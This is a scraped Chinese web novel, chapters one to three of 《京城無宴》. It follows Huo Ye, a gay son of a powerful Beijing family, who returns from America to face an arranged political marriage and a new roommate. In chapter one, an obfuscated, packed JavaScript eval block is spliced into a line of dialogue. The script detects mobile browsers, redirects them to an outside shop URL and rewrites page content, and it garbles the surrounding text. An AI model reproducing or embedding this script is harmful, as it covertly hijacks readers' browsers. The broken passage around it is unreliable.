《京城無宴》 1. 第一章 八月盛夏,美国乔治城富人区,某复古红墙独栋别墅二楼阳台飘出一串悠扬明媚的少年歌声: Sous le ciel de Paris 在巴黎的天空下 Les oiseaux du Bon Dieu 上帝的鸟儿们 Viennent du monde entier 从世界各地飞来 …… …… Et le ciel de Paris 而巴黎的天空 A son secret pour lui 属于他自己的秘密 Depuis vingt siecles il est épris 自二十世纪以来他就 De notre Ile Saint Louis 对圣路易岛一往情深 午后微风吹拂而过,攀爬在漆黑铁艺围栏的茂盛绿藤懒洋洋地晒着太阳,晾在衣架上的一排洁白T恤和黑粉色蕾丝内裤,也随着少年饱含深情的法文音节翩飞起舞: “Pour se fair''pardonner(为了求得原谅)——” “Il offre un arc en ciel(他献上一道彩虹)。” 一曲终了,书桌旁的黑胶唱片机停止了转动。霍晔将一束娇嫩的绿康乃馨插入玻璃花瓶,泡了杯热腾腾的红茶,将胶片收起。 接着,他打开笔记本电脑,查询他美高三年来,终于要结束的AP课程的最后三门成绩: · AP Physics C: Mechanics(AP 物理 C:力学)5 · AP French Language and Culture(AP 法语语言与文化)5 · AP United States Government and Politics(AP 美国政府与政治)4 算上之前考的七门:微观经济学、微积分BC、统计学、英语语言与写作、英语文学与写作、法语,以上六门都是满分5分,比较政府与政治这一门是4分。 霍晔翘着二郎腿搭在电脑桌,端过红茶呷一口。 即将回国,他最后一门考前都没看几页书,还能拿个分数,哪怕留在这边申个藤校也是绰绰有余了。 霍晔将成绩单发给国内负责人: 【给我写好申请资料交到学校,我要走国际生通道】 【别为了图省事儿直接把我当关系户塞进去,太掉面儿】 此时国内是凌晨三点钟,负责人居然没有在睡觉,歉然秒回道: 【M大七月份中旬就招生完毕了,您这成绩出的有点儿晚,我们已经帮您把名额申下来了】 等了几分钟,对方醒过神儿来,连忙找补道: 【不过开学后M大允许学生再次提交申请,届时我们会帮您更换,不用担心】 霍晔便觉无奈。 在接到他爸让他回国的召令之前,他只长期关注自己高中时代的心选藤校,以为大学也要在这边读,这一下突然准备回去,难免搞得底下人都手忙脚乱的。 他回复: 【没事儿,反正最后能给我搞定就行】 大概四年前,他十四岁,浑身冒刺,带着一腔怨恨,背着个书包就来了美国,负责安置他的女代理人很热情,请他吃了一顿丰盛中餐,又在他房间抽屉放了一把枪。 她知道他来历,语气不免有好奇:“如果真遇到危险,你是会用的吧?” 他面无表情地撂下书包,动作利落地抓起抢,清膛、装弹、瞄准客厅十步远墙上悬挂的一副四寸大小的猎鹰图,“砰!”一枪,将子弹射进那只猎鹰的眼睛里。 砖红色的墙面淌下一道血迹般的铁锈。 他当时的心也难过得在流血。 就因为他在部队里亲了一个男的脸,因为几个不识好歹的同龄人聚众搞事,于是从他爸到他妈,他爷爷到他外公,全都要因为狗屁的面子问题,把他一个人放逐到这么远的异国来。 这怎能不叫他心生恨意? 可恨完以后,他还是很想回家。 其实心里也明白,是他闯祸的时机不对。 当时他爸即将参加晋衔仪式,外公在外省任期满,不出意外也将升调回京,两个位高权重的人官途逢上这么重要的关卡,若是被有心人盯上,那就不单纯的是他一个十四岁的同性恋调戏一个二十四岁的军官的私德问题了。 所以,他爸就可以理所当然地、不顾他意愿的,把他这个刚进入青春期的炸弹儿子扔到太平洋对面了。 他和他们的官途比起来,显而易见,他们的官途更胜一筹。 代理人看出他心情不好,安慰了他一阵,大概受他父母嘱托,她临走前又好心提醒:“美国虽然开放,也只是相较于国内,这边歧视同性恋的人并不在少数,你还小,长得又……实在漂亮,如今孤身在外,最好不要再暴露自己了。” 霍晔不屑又恼怒,他是同性恋,又不是间谍,他有什么好“暴露”的? 他爸妈并非看不出他本性,只是老辈人骨子里的保守令他们习惯对他的某些怪异行为视而不见,直至他青春懵懂再也抑制不住去正大光明地喜欢上一个英俊男人,那些心怀不轨的同龄人非得把他当众揭穿了,他爸妈才只好无可奈何地认命。 那位女代理在这边全权代表他的父母照管他,他当然不会把她的劝告当回事儿。 但出身使然,霍晔从小耳濡目染的,其实不太能相得中洋人长相。 这两年他在学业和社交上逐渐得心应手,也和几个很有绅士礼节的金发帅哥约过会,他们牵手拥抱、亲额头、脸颊都顺理成章,可每每对上他们绿莹莹的眼睛,霍晔满脑子闪过的都是近代历史剧里的战乱炮火、血腥哀鸣、家破人亡,还有天安门广场上迎风飘扬的五星红旗—— 他完全没有和这些人更进一步的欲望。 他和洋人搞在一起,莫名感觉在叛国。 无奈之下,皆都不了了之。 如今京内局势稳了,恰逢他高中毕业,他爸又喊他回国念书。 尘封的记忆骤然被掀起,仿佛被全世界抛弃的无助感再次袭上心头,十四岁时深夜流过的泪至今还滚烫,滴滴答答,烧得他整个人千疮百孔。他那看似光鲜亮丽自由自在、实则飘若浮萍般不由自主的命运,连同着一千四百六十八个日夜的惊惶与怅惘,岂是两字“孤独”就能说尽的? 他爸话音刚落,霍晔浑身气血上涌,忍不住质问:“你一句话就把我赶走,一句话又命令我回去吗?我这毛病算是改不了,下回我又犯错,你是不是打算再给我扔大西洋去?” 后来又撂了他爸几次电话。 他爸脾气也臭,皮靴将办公室的黄梨木椅踹得噼里啪啦的,粗着嗓门吼他:“这破事儿都几百年了!你别跟我没完了啊!你知道你调戏的是什么人吗!当初要不是我把事儿给压下去,你早他妈被人家整了!你小子吃熊心豹子胆了敢这么跟你老子说话,是不是就吃准了我没法出国揍你!” “有本事你就来。”霍晔冷淡说完,再次挂断。 没过几天,他爸被他妈摁着头,给他打视频求和好。 夫妻俩一唱一和,他爸没事儿人似的,腆着笑脸哄他,希望他们唯一的宝贝儿子能够权衡利弊,早日回国,又说家里老人家年纪都大了,成天想孙子,这一年又一年盼星星盼月亮,几个老头老太太念叨得都快成盼孙石了。 更重要的是,霍晔那位一生未婚的传奇叔父霍玉章,早些年赶热潮辞官下海转政为商,近两年集团越做越大,正缺个接班人。 霍玉章也专门打电话来,劝霍晔不要再闹性子记仇了,务必尽早归家干点正事儿。 霍晔这从十四岁起就众所周知的性取向,料定早被人登记在册,此生从军从政是绝无可想了,若非要仗着家里的影响力硬着头皮挤进去也并不是不可以,只是难免仕途多掣肘,更遑论取得他爸那样的成就。 毕竟官家子弟,恃才傲物,头顶苍天日月,脚底黄金遍地,哪里甘心在官途伏低做小一辈子? 霍晔也早绝了那份心,再没什么屠龙登顶的志向,眼下家里人给了台阶,他便顺坡下驴,打算听从家人安排了。 但与父母之间的隔阂早已深镂进骨髓,霍晔不想再回家住。 还有,早先家属院里那群同龄玩伴儿看出他喜欢男人,都笑嘻嘻给他取外号喊他“霍承乾”,把唐朝那位喜欢宠幸男伶的太子李承乾的名字按到他脑袋上,说他是霍太子,仗着他老子的势,见着帅男人就要纳为己有,实在是“品味高雅”。 一群人笑得贼眉鼠眼,嘴上喊着高雅,表情低俗又低级。 霍晔这几年时常想时光倒流回去—— 当初光忙着愤恨父母了,忘了在临行前把那群人给揍一顿,如今时过境迁,心智成熟,再翻旧账未免太小家子气。 霍晔就让他当董事长的叔叔给他学校附近找套房,他要自己住。 “离家稍微远点没关系,环M大二十公里我都能接受,最好是新建人才小区,居民素质高,不会太吵,否则我晚上睡不着。” “楼盘绿化覆盖率要高于50%,采光要好,住宅风格最好是古典巴洛克或者美式复古,但不要给我装修成那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521249|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烂大街的假欧式,我的眼睛会瞎掉。” “面积不能低于两百平,不然我在家里呼吸会喘不过气。” 霍晔小时候住四合院,吃食堂和大锅饭,从早到晚都很热闹,后来搬去军属小区,住所相对清净,但毕竟和爸妈一起住,他在卧室连张喜欢男星的海报都不敢贴,只能跑去音像店租碟片追剧欣赏男主和男二。 大部分古早电视剧男二都笑若春风温柔似水,于是在霍晔眼里,男二要比男主多帅出几个level。 后来出国,一家人吵架归吵架,他爸妈在金钱上倒没亏着他,霍晔早就过惯了奢侈生活,每季度购买潮流时装就要十万美金起步。 至于住宅么,当然更要精挑细选不能委屈了自己。 电话那头,霍玉章听罢他要求,不禁朗声大笑起来。 霍玉章笑道:“你这小脾气,真不知道随谁!” 霍晔也笑:“随你呗。” 他知道叔叔也喜爱奢侈华丽的事物,但叔叔偏向低调沉稳的暗色系,他更偏向鲜亮扎眼的颜色。 譬如枫叶橘红、粉红、柠檬黄、清新绿、天蓝……都会让他心情变好。 霍玉章脾性温和,寡言少语,生意场上又有雷霆手腕,亦刚亦柔,霍晔从小就很亲近他。小时候霍晔有想要的玩意儿,先拉着叔叔说悄悄话,叔叔一般都能给他弄来,实在弄不来的,霍晔再去找他爸妈闹腾。 霍玉章说:“房子你随便挑,但你得回家吃顿饭,不然太不像话。” 霍晔犹豫了下,说:“行。” 霍玉章笑了声:“怎么,四年没回家,怵了?” 霍晔不屑笑,眼尾流露出几分幼态邪气。他仰身靠在转椅上,翘着两只脚搭在电脑桌沿。 随手摸出支烟叼上,低头点燃。 “呼……” 红润饱满的嘴唇轻喷出小片薄雾,丝丝缠缠,弥漫缭绕,爬上他漆黑英挺的剑眉,遮住他白皙的面容。 “是你们该怵我才对。” “毕竟我不是你们理想中的二十四孝子。” 霍玉章笑:“最近又交新男朋友了?” 霍晔“嗐”一声,随手将烟灰掸进茶杯:“谈着玩儿的,没意思,甩了。” 霍玉章顿了顿,“嗯”了声。 霍晔兀自吞云吐雾了会儿,没见人开口,便主动询问:“叔叔,是不是有事要说?” 霍玉章便开口:“叶祖阳,你还记得吗?” 递向唇边的烟倏地顿住,半晌,霍晔淡淡“嗯”一声。 念及往事,才记起,他是他最无法原谅的那一个。 直到他被迫离开,那人始终在远处漠漠望着他,仿佛二人从不相识过,也不曾在私下交替过对彼此关怀的眼神。 霍晔忽地笑起来,问:“都四年过去了,他早就升官发财了吧?” 霍玉章轻声道:“嗯,他年初订婚了。” 霍晔无喜无悲。 他抬起手,将炽红的半根烟摁在红茶杯底。 呲呲两声,精巧玉润的白瓷底被烫出一个焦黑丑陋的洞,烟火也随之熄灭。 “挺好。” 霍玉章道:“你爸妈都心大,对这件事也马马虎虎的,我跟你说,是希望你先消化消化。” 霍晔笑:“放心,陈年旧账了,我没那么拎不清。” 霍玉章:“好,你这么说,我们就都放心了。” 霍晔:“嗯,没事挂了吧。” 霍玉章:“还剩一件事。” 霍晔忽然有些累了:“嗯。” 霍玉章:“叶祖阳的堂妹,婧柠,你们从小一起玩到大,知根知底的,也算是青梅竹马了,你这次回国,我们两家要正式见一见。” 这就是要联姻的意思了。 没说“我上个月才过十七岁生日,你们做决定怎么不先和我商量一下?” 没说“叶家那群老东西也真够狠心,让我一个众所周知的同性恋,去耽误自个儿亲姑娘一辈子”。 没说“合着之前我爸妈千方百计哄我回去读大学,原来是想骗我回去和他们的未来儿媳培养感情”。 也没说“我不想,我不愿意,要不我还是继续留在美国吧”。 在双方家族和政治利益面前,抱团取暖是最传统、也是最明智的选择,一切从个人角度出发的正经理由都是最无足轻重的废话。 叶婧柠从小就是个有主见的人,若非自己情愿,谁都不能忤逆她意,如今听他叔叔这意思,想必她那边是默许了。 他不清楚她为何自降身份,但他似乎确实找不到一个具体的理由来拒绝。 霍晔缓缓闭眼靠在椅背上,浅声应道:“行,先这么安排吧。” 2. 第二章 “人在哪儿?” “你身后。” 叶婧柠举着手机转回身,两眼一眯,立即锁定了来往人群中那位振翅开屏的男孔雀。 霍晔戴着墨镜,唇红齿白,一身夏威夷度假风的花哨公子哥儿打扮,见叶婧柠愣在原地半天不动,便主动推着行李箱过去。 他吊儿郎当地笑着,朝她张开双臂。 “好久不见,未婚妻。” “去你的。” 叶婧柠笑了声,终于缓过神来。 短暂和他抱了一下,又忍不住抬头瞅他。 “更高了,更帅了。”她评价。 “还有呢?”他摘掉墨镜,俯身下来,作势要亲她额头。 “更不正经了。”她一巴掌推回。 二人相视一笑,对望几秒,又各自叹息一声。 霍晔当年出国是临时决定,朋友玩伴一律不知,叶婧柠跟他相熟,但当时家突然闹出个私生子,她顾不上他。 叶婧柠外公和霍晔爷爷都是开国勋老,她父亲叶志兴早年是典型靠老丈人上位的潜力股,忍辱负重半辈子,终于中年得志,爬了高位,有了本事,也学身边人赶个风潮时髦,开始在外头养情人。 情人给叶志兴生了个儿子,偷偷养了七八年,眼见叶婧柠母亲多年来肚子再没个动静,逐渐藏不住野心,打着“挟天子令诸侯”的架势,开始谋求上位。 叶志兴看老婆全家脸色过了大半辈子,哪曾敢想自己还有个半大不小的亲生儿子?登时欢喜得神志不清,架势一摆,铁了心要把儿子认进家门,叶婧柠母亲那边哪里能忍? 两边势力掀起一阵腥风血雨,叶婧柠外婆被这忘恩负义的女婿气得一命呜呼,十六岁的叶婧柠身处斗争旋涡自顾不暇,等回过神儿来,霍晔已经离京一年多了。 她当时心力俱疲,只发了条消息问霍晔“还好吗”,霍晔第二天回复一句“还好”,只是两地时差13个小时,二人重新联系没多久,就再度断联了。 久别重逢,两人在机场附近找了个地方吃饭,闲话寒暄过后,叶婧柠见霍晔几度欲言又止,笑了声,直接就跟他主动交代了。 那私生子名叶钧贺,现在还在外面和他妈住,但几年前叶志兴说要认他的时候,他立刻跳级考到了叶婧柠国际学校的初中部,有意和她套近乎。 三年来,每天放学那小子风雨无阻踩点似的追到她教室,一口一个“姐姐”的喊,又是帮她背书包,又是给她和身边同学们买水果饮料小礼物,这一番恭敬孝心,倒教叶婧柠不好说什么了。 她这小弟有事没事也常来家里走动,仿佛看不懂叶母的冷脸,自顾自登堂入室,笑声跟叶母打招呼。叶母自持身份,没抄笤帚撵他就算客气,私下时常对女儿耳提面命,她再不争点气,早晚她母女俩都要看这个野种的脸色了! 叶志兴对女儿还算宠爱,一个日理万机的大领导,多年来没少花时间对她悉心栽培,只是后来有了儿子,还是位机敏睿智的少年人才,他做父亲的难免要更偏心些。 去年叶婧柠成人礼,父亲一脸慈爱地对她讲,她从今往后可以随心所欲些了。 叶婧柠刹那间愣在原地。 她忽然意识到,父亲这些年为她铺好的路,早已不属于她了。 她怎能甘心? 她父亲叶志兴是整个叶家的主心骨,近几年堂哥叶祖阳崭露头角,也不过是后起之秀,尚有一二十年的资历要熬,哪里比得上她早已手握重权的父亲? 她可是开国勋老的亲外孙女,是注定要问鼎云巅的真龙,若是让一个私生子夺了她的权,她怎么能甘心?! 霍家的人都很好。 老辈有德,父辈明理,霍晔的军政梦早就碎得一塌糊涂,她可以替他完成;日后霍晔继承叔叔的集团,三代掌权,财力无边,也可以做她强有力的后盾。 霍晔是同性恋这事儿在他们圈子里是大众新闻,在外界、甚至包含主流媒体都被高层压得密不透风,她清楚霍晔早晚需要一个门当户对的女人来避免不必要的麻烦,她不介意成为这个女人。 简言之,她和他搭配起来,简直完美得无可挑剔。 霍晔无言。 他不清楚到底是他的原因——这四年来,在国外放肆潇洒的生活早就冲淡了他对权力的渴望,还是叶婧柠——她再也不像当年那个天真爱笑、整天扎着大红花梳着麻花辫、被家属院一帮狗腿鼻涕虫们争相奉为女神的姐姐。 他与她谈起未来,如同在权衡交易,细想之下,他竟有几分乏味厌倦。 霍晔缓缓端杯喝了口茶,一抬眼,见叶婧柠一眨不眨地望着自己。 “你的家人都很尊重你,”她说,“这事能不能成,还得看你自己愿不愿意。” 叶家的闺女他没理由拒绝,霍晔欣然应允,笑道:“行啊,我男朋友谈多了,有个女朋友也蛮不错!” 于是二人之间一份无形的合约便就此生成。 这次霍晔回国是叶婧柠主动来接,不管老朋友身份还是未婚妻身份,她总希望二人尽快重新熟络起来。 开车回京路上,叶婧柠对霍晔直言,他是她可选择范围内的最优选,她不希望搞砸这件事,也希望霍晔能够配合。 霍晔便跟她开玩笑,按理是他没女人要,又不是她没男人要,她一个金枝玉叶这么着急上赶着,多掉份儿啊! 叶婧柠就笑:“我能怕女人抢你?” 霍晔挑眉:“嗯?” 叶婧柠瞟他一眼:“我啊,是怕你被男人勾搭走了!” “你不知道吧,你小子其实挺抢手的。” 霍晔诧异:“什么意思?难不成还有男人要跟我求婚啊?” 叶婧柠翻了个白眼:“少自恋了,是你同学。” “同学?”霍晔登时敏感起来,眯眼问,“大学同学?” 叶婧柠点头:“你新室友。” “对方花多少钱买的消息?”霍晔语气不善,抬手捋了两把头发,“真行啊,这些人,八面玲珑的,我人还没回来呢,室友都给我安排好了。” 接着愠怒道:“究竟是谁走漏的消息!” 叶婧柠:“你外公。” 霍晔:“……” 有点不敢置信。 “你外公早先不是当过外交学院的政治系主任嘛,”叶婧柠跟他分享着新得到的八卦消息,“他有个得意门生,现任驻英大使,你家老头跟这大使常年有往来,今年大使的儿子高中毕业要回国念书,打算也走从政这条路,他办学籍找到你家老头这里,本来要给儿子读外交学院,结果你家老头说你快回国了,家里给安排读的是M大,国内top1的综合性大学,和外交学院不相上下,要不让俩孩子干脆凑一道好了,对方一听,想必就动了心思。” “不过权衡利弊过后,他们说你报的是金融系,和他家孩子住不到一处去,这人情关系上恐怕要差点儿意思,你家老头一听这话,当场拍板要让你再读门外语专业,跟对方说凭你的能力,甭说双学位,读仨学位都没问题!” “说起来,”叶婧柠啧声摇头,“你家老头也真是大言不惭,非得压人家一头才满意。” 霍晔:“……” 好老头,真是好老头,为了在学生面前挣面子,不管亲孙子的死活。 “要不是最近咱两家走得近了点儿,这事我也不知道。” 叶婧柠拍拍他肩,安抚道:“你先别急着犯膈应,我看过资料了,那小子挺帅的,hot nerd懂吧,就是你很喜欢的那种特板正的类型,虽说兔子不吃窝边草,给你养养眼也是好的。” “不过呢,就算他有求于你,也不过是咱随口一句话的事儿,算不得大事儿。” 霍晔冷呵一声,将她手从肩膀上掸走。 扭过头,面无表情地望着窗外广袤的原野。 算不得大事儿。 那什么算是大事儿? 他的性取向是父母永远避之不谈的噩梦,他的爱恋是登不得大雅之堂的圈内笑话;他的终身大事成了不容他置喙的政治筹码;他出国是为家,回国也是为家,他把家视为归根落叶地,无论如何他都愿意与家人同舟共济,可是他却成为父祖人情关系的一道棋。 “婧柠姐。” “嗯?” “你说我现在跑还来得及么?” “你小子,”婧柠笑瞥他一眼,“上了贼船还想跑?没门儿!” “唉……”霍晔眺望远方,无奈笑道:“来都来了,那就玩儿玩儿吧。” * 晚上两家人订了包厢吃饭,叶婧柠和霍晔先抵达酒店,各自回房换衣服。 霍晔梳着三七分背头,穿着他那套为高中毕业典礼定制的黑色西装,踩着皮鞋推门出来,叶婧柠挽着发髻,略施粉黛,一袭紫色长裙,知性优雅。俩人下楼时,大眼瞪小眼,一边满脸嫌弃啧啧啧个不停,一边目光挑剔上下打量着对方,然后不得不承认对方的绝世美貌,不约而同感慨一句“果然是人靠衣装马靠鞍”。 很快,长辈们陆续赶到。 “儿子!” “小晔!” 霍晔闻声一抬头,他爸霍鸿军就咧着嘴疾步冲进来,二话不说先给他一个熊抱,激情澎湃道:“你小子!可算是回来了,这几年可想死你爹了!” 霍晔懒得给他好脸色:“我回不回来还不是你一句吩咐的事儿。” “好了好了,该我了!”邵书斓紧随其后,将丈夫挤去一边,双手捏棉花糖似的揉弄两把霍晔的脸,满心怜爱地抱住儿子:“小晔,瘦得不轻啊,快给妈妈也抱一个。” 霍晔:“……” 然后对门口仨人行注目礼 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霍晔是同辈当中最为杰出的后生俊才,德智双全,文武兼备,自幼跟着父亲待在特种部队里摸爬滚打,如今又拿着近乎满分的学业成绩奉命归国,十七岁的年纪,身上既有军人般的铮铮铁骨,又不失少年独具的幽默风趣,因为是同性恋,他比她遇见的那些极端奉行大男子主义的大尉少校们多了几分善解人意,哪怕放眼上下三代,这样的人也再挑不出第二个来。 就算是gay,这小子放在婚恋市场上也很难令人拒绝。 叶婧柠不太看重男女之情,她只需要一位并肩作战的战友。 每天都愿意洗澡的那种战友。 酒过三巡,满包厢烟灰落了一地,长辈们喝得面红耳赤,聊完政事新规,又谈社会新闻,找霍晔问几句美国风土人情,找叶婧柠了解一下职业规划,说得大多是废话,基本听完就忘,谁也没说这顿饭局的主题是什么,但长辈们悄悄观摩着这俩孩子情分如初,饭桌上还互相给夹菜,没表露出任何抗拒,联姻这事基本就是两家心照不宣的约定了。 众人乘兴而来,尽兴而归。 凌晨两点多,霍晔回到家。 他最初没敢迈进屋,只站在阔别四年的家门口,望着客厅那些熟悉到令他无所适从的红木家具,彩色手工编织的沙发坐垫,墙壁上的泼墨字画和老旧照片,以及,在异国高档别墅里不曾感受到的温馨气息。 霍晔吸吸鼻涕,眼眶湿红,刚生出几分近乡情怯的矫情劲儿,他爸跟头牛一样从他身后横冲直撞进来,进屋踉跄几步,醉得厉害,一头扎进沙发里,轰隆隆打起了惊天动地的呼噜。 霍晔嘶了口气,扶着电视柜旁揉腰。 他妈一进屋,忙问他怎么了?霍晔无语,说我爸撞的。他妈“嗐”一声,说了句“我回头收拾他”,嘱咐他说,上月家里专门给他卧房装了独立浴室,让他早点洗漱睡觉,然后又嚷嚷着催促他爸,硬拽着他爸去浴室洗澡。 霍玉章提着行李箱进屋,看一眼那边闹得霹雳乓啷的哥嫂,又瞧一眼无人问津的侄儿,笑出声来。 霍晔眼神幽怨:“你还笑,你看看,这就是我四年没回家的待遇。” “这是好事。”霍玉章揉了两把他脑袋,将行李箱端端正正摆放在门边墙角,一边关门一边冲他摆手:“早点休息,我走了。” “好。”霍晔点点头,忽然想起什么,猛地一个箭步冲上去:“等一下!” 霍玉章扭头:“怎么了?” 霍晔扒着门探头,语速飞快:“我外公是不是有个学生的儿子要来这边上学?” 霍玉章惊讶:“行啊你,消息这么灵通?” 霍晔质问:“你们怎么都不跟我说?” 霍玉章笑:“急什么,事情总得一件件办,过两天资料给你送来,该注意的地方都提前知道知道,和人家好好相处。” 霍晔不痛快道:“我还没说乐不乐意呢!” 霍玉章没好气道:“你这么激动干什么,和婧柠的事也没见你这么大反应啊,你不乐意可以申请转专业,嗯,换宿舍,换学院,换学校都随便你意,我们又没人拦你。” 霍晔:“……” 然后转身“砰”一下关上门。 关掉客厅灯,室内漆黑一片,霍晔拽着行李箱就往卧室走。正要拧门,手机忽地亮屏,界面弹出霍玉章两条信息: 【因为太了解你,做叔叔的丑话说在前头,不管他多帅,你俩都没戏】 【他是要走官途的人,如果你好奇心太盛,只会让他成为下一个叶祖阳】 霍晔凝视良久,认真编辑一条【我没有】,正要点发送,胸腔忽然涌上一股无名羞耻和愤怒,令他鬼使神差地又全都删除了。 他回复叔叔: 【不用你们操心,我会办走读的】 3. 第三章 八月十九日,书房窗外雨声哗哗。 老式台灯亮着光,霍晔吹着泡泡糖,在电脑前浏览着M大的院系专业,案头堆着一摞彩印资料。书房门外,不时传来新闻联播的主持人话音,他妈嚷他爸“霍鸿军,赶紧过来端菜!”,他爸一溜烟跑去“来了来了!”,以及老远厨房大火烹饪的炒菜声。 电脑弹出一条信息: 婧柠:【明天我送你去学校报到?】 霍晔想了想,回复: 【行】 霍晔未成年,有车也没法开,他爸前两天说给他找了个靠得住的退伍兵当专用司机,最近那人请假回老家奔丧,正好错过霍晔开学。 婧柠:【新同学资料看过了吗?】【坏笑emoji】 霍晔:【看过了】 淡然视线不自觉瞥向手边资料,最上面一页简介表格右上角,男生深眸如炬,身穿英式私立高中制服的二寸蓝底照片。 薄唇一丝不苟地抿着,喉结处紧束一条圣罗兰藏青斜纹领带。 霍晔移开目光,敲字评价: 【很一般的富二代长相】 婧柠: 【好吧】 【你行李多吗?被褥是家里带还是现买?】 霍晔: 【我办走读】 婧柠: 【?新生办不了走读,你就算是天王老子去了,非要办也得等到军训过后,不然学校怎么管理?】 霍晔“哦”一声,不大乐意地瞥了眼手边资料表格右上角。 这可赖不着他啊。 “小晔!”他妈在门外咚咚敲两下门:“洗手,吃饭了!” “来了!”霍晔雀跃起身出门。 晚饭四菜一汤,都是霍晔爱吃的菜。身后电视播着军事新闻,一家三口围坐桌前,只有六根筷子夹菜和不锈钢汤勺碰到瓷碗上的细微动静。 霍晔埋头认真吃饭,邵书斓和霍鸿军疼爱儿子,没完没了地给他夹菜,他也只应付一声“谢谢妈”,“谢谢爸”,没有要和他们聊天的意思。 邵书斓和霍鸿军不禁对视一眼,各自都有些无奈。 以为儿子回来了家里就会热闹起来,结果反而更加尴尬冷清。夫妻俩心里有愧,也想过找霍晔认真聊聊,奈何骨子里的保守基因又令他们实在难以启齿。 况且事情都已经过去好几年,当时只忙着匆匆安排霍晔离开,如今就算旧事重提,他们又能解开他几分心结? 霍鸿军长年累月待在部队,邵书斓又是从事航天工程方面的专家主任,两口子工作都忙,家里原先有保姆做饭打扫,因为霍晔回来,邵书斓给保姆放了假,和丈夫特地都请了一周假,专门在家陪儿子,谁曾想儿子待在家里,不是把自己锁在卧室就是闷在书房,没有一点要和他们叙旧情的意思。 霍鸿军是性情中人,受不住儿子冷暴力,某天早上四点多,天还没亮,他叼着个口哨,一边呼呼狂吹一边敲霍晔卧室门,命令霍晔十秒内立刻起床跟他去公园跑十公里热身! 霍晔听到哨声,二话不说就爬起来穿衣换鞋。 霍鸿军咧嘴笑得开怀,心里得意这可真不愧是他儿子!本想着慢悠悠走楼梯和儿子多聊两句,谁料那臭小子猴子荡秋千似的,踩着扶手栏杆上蹿下跳,衣角带风,折腾得四层楼梯灰尘四散,眨眼就飞出小区外了。 等霍鸿军急赤白脸地在公园逮到人时,臭小子绞着湿透的T恤,扔下一句“我跑完了,先走了”,头也不回地扬长而去。 霍鸿军因此生了好几天的窝囊气。 邵书斓一开始也有怨言,某天没忍住,把儿子从书房里拽出来进行严肃谈话。 邵书斓义让霍晔反思反思,这阵子在家,从早到晚的是个什么态度!她说她放着堆积如山的重要工作不忙,专门辞了保姆在家给他做饭—— 话才说半截,这小子当即系上围裙,走进厨房开火磨刀。 一顿烈火烹油煎炸烹炒,四荤仨素俩汤,另单独蒸了一屉寿包。霍晔一边摆盘子颠锅盛菜,一边歪脖子夹着电话,叫叔叔下班来家里吃饭。挂了电话,他用保温饭盒打包好寿包和鱼汤,饭后让叔叔开车给爷爷和外公各自捎过去。 那一套动作行云流水仿佛早已重复千千万万遍,那一片孝心赤诚感天动地瞧得人心疼又心酸,看得邵、霍两口子目瞪口呆。 邵书斓彻底不吭声了。 曾经调皮捣蛋的闯祸精儿子,如今成熟懂事识得大体,品格性情上完美得无可挑剔,甚至上得厅堂下得厨房,她还有什么好说的? 今天是霍晔住家的最后一天,夫妻俩知晓霍玉章帮霍晔安排了一套离校很近的高档公寓,于是就没有强迫儿子必须和他们住在老旧的家属院里。 但,总归要说点儿什么。 霍鸿军镇定自若地盛着汤,没话找话:“自打前天早上,你叔让秘书送了趟资料以后,你这三天从早到晚就闷在书房里,都忙点儿什么呢?” 霍晔埋头扒着饭:“选专业,想换专业来着。” 霍鸿军纳闷:“选专业有啥难的,要么挑个你喜欢的,要么挑个你擅长的,哪用得着一连看三天?” 霍晔猝不及防噎了下,默默地从饭碗里仰起脸来瞅他。 霍鸿军也认真打量起他,越看越满意,不禁露出慈祥微笑:“嗯,是帅多了,快撵上我当年的风采了。” 霍晔:“……” 邵书斓递给霍晔一杯茶润喉:“怎么,外公给你选的不喜欢吗?” 霍晔喝着茶:“一般。” 邵书斓笑得温柔:“那我儿子想选什么方面呢?妈妈给你出出主意。” 霍鸿军忙附和:“对对对,你妈学历高,听她的!” 心里有块石头在慢慢融化,霍晔嘴角忍不住绽出几分腼腆笑意。 他抬眼望着他们:“我还没想好呢,定好的事暂时也改不了,我查过官网了,申请要下学期。” 邵书斓眼底登时就含了泪。她情不自禁伸出手,指尖轻轻拂过儿子如剔羽般漂亮乌黑的鬓角。 “没关系,儿子,从今往后,你做什么都没关系。” 霍鸿军攥拳轻咳:“在法律允许范围内。” 霍晔会心一笑:“知道了。” * 次日叶婧柠来接,一家人搬东西时,霍晔才发现他妈早给他准备好了一床新被褥。 新被褥当然是买的,他妈结婚前是大家闺秀,十指不沾阳春水,一心只读圣贤书,连做饭都是婚后学的,更别提缝被子了。 出发前,他妈单独将他拉去一边,那张国色天香的东方美人脸上,竟罕见地露出几分神秘且猥琐的微笑。 她告诉他,被子里放了她的一点心意,让霍晔到了宿舍再偷偷打开看。 “别让你室友看到,”他妈埋头鬼鬼祟祟道,“但我相信只要你一打开,就能明白妈妈的心意。” “妈,”霍晔无奈,“现在都不兴用现金了,你整这出儿还不如直接转我卡里,我大半美金还没来得及结汇呢。” “哎呀,不是钱!”他妈没好气打他一下,还没来得及解释,身后响起一道试探性的招呼声:“承乾,是你吗?” 霍晔一秒黑脸。 他转过身,皱眉望向那几位曾经趁机作乱煽风点火的故人玩伴。 叶婧柠和邵书斓也闻声回头,就见赵茂青领着孙天和王麟俩万年跟班朝这边走来。 “邵阿姨好。”仨人礼貌问候,不约而同把手从裤兜抽出来。 邵书斓对这几个黄毛痞子娃没什么好感,碍于长辈身份,笑脸应了几声。 视线眺望到对面百米外的单元楼下,那边也停着好几辆正装行李的车,她便问:“你们今天也开学啊?” 赵茂青全程盯着霍晔愣神儿,半天不吱声,孙天不晓得这哥怎么突然宕机了,忙站出来笑道:“是的阿姨,我们也是M大的。” “早听说承乾回国了,怎么也没露个面?我们几个最近天天在楼下溜达呢,今天可算遇着了,茂青哥就说过来打个招呼。” 叶婧柠“啪”一声关上后备箱,好奇地绕出来打听:“你们哪个系的啊?” 